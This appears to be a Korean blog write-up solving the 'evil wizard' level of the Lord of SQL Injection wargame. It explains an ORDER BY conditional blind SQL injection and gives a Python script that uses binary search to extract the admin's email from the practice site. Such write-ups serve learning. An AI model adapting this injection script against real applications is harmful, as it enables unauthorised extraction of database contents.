hell fire와 다른점은 sleep 함수도 막혔다는 점이다.. benchmark 함수도 막혀있기 때문에 어떻게 해야 고민을 좀 해보았다.
if 문 반환값과 order by를 이용한 방법도 이용이 가능하다..!
일단 email 길이는 30이다.
이 방법에 따르면 if 조건이 참이면 admin이 rubiya보다 먼저 나와야한다. 이를 파이썬의 find함수로 구분해줄 것이다.
find함수는 문자열에서 해당 문자열의 위치를 반환한다. 이것도 이진탐색을 해주었다. 비밀번호가 꽤 길어서... 그냥 돌리는 것보다 3배이상 빠른 것 같다.
클리어! 상당히 재미있는 방법이였다.
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4v****8tab335qko"}
password=''
whole_time=0
for i in range(1,31) :
max=0xff
min=0
while True :
k=int((max+min)/2)
url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=if(id=%27admin%27%20and%20ascii(substr(email,"
url+=str(i)+",1))<"+str(k)+",%27id%27,%27id%20DESC%27)"
request=requests.get(url,headers=header)
admin=request.text.find("admin")
rubiya=request.text.find("rubiya")
#print(str(admin)+','+str(rubiya))
if admin<rubiya :
max=k
else :
min=k
url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=if(id=%27admin%27%20and%20ascii(substr(email,"
url+=str(i)+",1))="+str(k)+",%27id%27,%27id%20DESC%27)"
request=requests.get(url,headers=header)
admin=request.text.find("admin")
rubiya=request.text.find("rubiya")
if admin<rubiya :
password+=chr(k)
print('[+]'+password)
break
if len(password)!=i :
print('ERROR')
print(i)
print(password)
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
[los] red dragon (0) | 2020.12.15 |
---|---|
[los] green dragon (0) | 2020.12.15 |
[los]hell fire (0) | 2020.12.15 |
[los]dark eyes (0) | 2020.12.15 |
[los]iron golem (0) | 2020.12.14 |